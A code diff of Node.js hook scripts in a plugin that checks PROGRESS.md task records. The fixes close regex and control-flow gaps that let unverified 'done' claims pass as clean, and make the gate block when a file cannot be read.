const t = readOrBlock(p);
return t === MISSING ? null : t;
}

@@ -462,2 +476,22 @@ // 2026-07-31 maintenance fix (consistency tidy, not a demonstrated live bug):

main();
// 2026-08-13, finding X12: an input this gate cannot READ must never be reported
// as an input this gate is happy with. read() now throws on any error other than
// "genuinely absent", and that throw lands here, as a block with the real cause
// named — not as a silent pass.
try {
main();
} catch (e) {
console.log(
JSON.stringify(
{
status: 'BLOCKED',
reason:
'a requirements or progress file exists but could not be read, so traceability cannot be verified',
detail: e && e.message ? e.message : String(e),
},
null,
2,
),
);
process.exit(1);
}
+82
-2
plugin/hooks/verify-progress.mjs

@@ -99,4 +99,35 @@ #!/usr/bin/env node

// later "but now fails" no longer matches.
const VERIFIED_RE =
/verified:.*(→|->)(?:(?!\b(?:not|never)\b).)*exit 0|verified:.*machine checks true|verified:.*user PASS/i;
// 2026-08-13, findings X11b and X25 — two defects in this one pattern, pulling
// in opposite directions. Both reproduced by execution; see
// test/repro/phase1-gate-honesty.mjs cases P4 and P5.
//
// X11b (over-acceptance). There was no left-hand boundary, so `verified:`
// matched the `verified:` INSIDE `unverified:`. A done row reading
// `| T1 | … | done | unverified: npm test -> exit 0 is what we expect once
// someone runs it |` returned `{"status":"clean"}` — evidence that says in
// plain English that nobody ran it was accepted as proof. Note `\b` cannot fix
// this: there is no word boundary between the `n` and the `v` of "unverified",
// so a negative lookbehind for a preceding letter is the correct guard.
//
// X25 (under-acceptance). Only the literal `exit 0` was accepted, so a
// genuinely passing task recorded as `-> exit code 0` was BLOCKED. lib.mjs's
// own CONTRADICTION_RE calls `exit code N` "the far more natural phrasing" and
// was widened years earlier to accept it on the FAILURE side. The success side
// never was — so this project recognised "exit code 1" as a failure claim but
// not "exit code 0" as a success claim. A gate that rejects real proof teaches
// people to route around it, which is how a gate stops being trusted.
// 2026-08-13, independent-review finding F8 (reproduced). The lookbehind below
// rejected only a preceding LETTER, so `unverified:` was correctly excluded but
// `un-verified:` and `not-verified:` were not — a hyphen satisfies the
// lookbehind. Reproduced: identical rows differing only in spelling returned
// BLOCKED for "unverified" and clean for "un-verified". The negated prefixes are
// now named explicitly, while `re-verified:` and `self-verified:` keep working.
const VERIFIED = String.raw`(?<!\b(?:un|non|not)-)(?<![A-Za-z])verified:`;
const EXIT_OK = String.raw`(?:exit[ \t]+0\b|exit(?:ed)?(?:[ \t]+with)?[ \t]+code[ \t]*:?[ \t]*0\b)`;
const VERIFIED_RE = new RegExp(
`${VERIFIED}.*(→|->)(?:(?!\\b(?:not|never)\\b).)*${EXIT_OK}` +
`|${VERIFIED}.*machine checks true` +
`|${VERIFIED}.*user PASS`,
'i',
);
// 2026-07-25: Structured JSON evidence format (machine-parseable)

@@ -289,2 +320,4 @@ // Format: {"taskId":"T3","criterion":"...","command":"...","exitCode":0,"stdout":"...","stderr":"","durationMs":1240,"artifacts":[],"timestamp":"2026-07-25T10:30:00Z","verifier":"tester"}

const malformedEvidence = []; // "done" rows whose structured evidence is missing required fields
let sawAnyTable = false; // X11a: a done claim with no table at all must not pass
const insideATable = new Set(); // F9: line indices belonging to a recognised table

@@ -374,5 +407,52 @@ for (let i = 0; i < lines.length; i++) {

if (sawDoneUnknown) unidentified.push(header.trim());
sawAnyTable = true;
// 2026-08-13, independent-review finding F9: record which lines belong to a
// recognised table, so the done-claim sweep below can examine everything
// OUTSIDE one. Previously the sweep ran only when no table existed at all,
// which meant a single table anywhere disabled it — and the common
// PROGRESS.md has a table.
for (let k = i; k < j; k++) insideATable.add(k);
i = j - 1; // resume after this table (the for-loop's i++ advances to j)
}
// 2026-08-13, finding X11a (reproduced by execution — see
// test/repro/phase1-gate-honesty.mjs case P3). A PROGRESS.md containing no
// table at all returned `{"status":"clean","reason":"every \"done\" row has a
// verified: cell"}` — an affirmative claim the hook had never established.
// Reproduced with three tasks recorded as done in bullet form and no evidence
// anywhere. This hook's own Round-11 comment already required failing CLOSED
// when a table carries a "done" cell but no identifiable Status column,
// "because this hook is the SOLE mechanical enforcer of 'a task may only be
// marked done with a verified: line'". A file with no table is the same hazard
// one step further out, and both sibling gates (quality-gate.mjs,
// content-check.mjs) already block when their table is absent.
//
// Deliberately narrower than "any non-empty PROGRESS.md with no table". A
// brand-new project may legitimately have a PROGRESS.md that is a heading and
// nothing else, and blocking that would be a false positive with no safety
// upside. What is never legitimate is a DONE CLAIM that no table can verify —
// so the trigger is a done-shaped token outside any recognised table.
// 2026-08-13, independent-review finding F9 (reproduced): this used to be
// `if (!sawAnyTable)`, so one table anywhere switched the sweep off entirely —
// and a real PROGRESS.md always has a table. A file with a properly evidenced
// table PLUS three unevidenced "done" bullets underneath reported clean, which
// contradicts this fix's own stated rule: what is never legitimate is a done
// claim that no table can verify. The sweep now examines every line that is not
// part of a recognised table, whether or not a table exists.
{
const claims = [];
for (let k = 0; k < lines.length; k++) {
if (insideATable.has(k)) continue;
const l = lines[k];
if (l.trim() === '' || /^\s*#/.test(l)) continue;
if (l.split(/[|:—-]/).some((seg) => isDoneValue(seg.trim()))) claims.push(l);
}
if (claims.length > 0) {
unidentified.push(
`PROGRESS.md records ${claims.length} "done" claim(s) outside any recognised task table, so ${claims.length === 1 ? 'it' : 'they'} cannot be verified. ` +
`Every done claim belongs in a markdown table with a Status column (see the dev-memory skill). First claim: "${claims[0].trim()}"`,
);
}
}
if (

@@ -379,0 +459,0 @@ problems.length === 0 &&

plugin/hooks/hooks.test.mjs

Sorry, the diff of this file is too big to display

plugin/hooks/lib.mjs

Sorry, the diff of this file is too big to display

plugin/hooks/scan.mjs

Sorry, the diff of this file is too big to display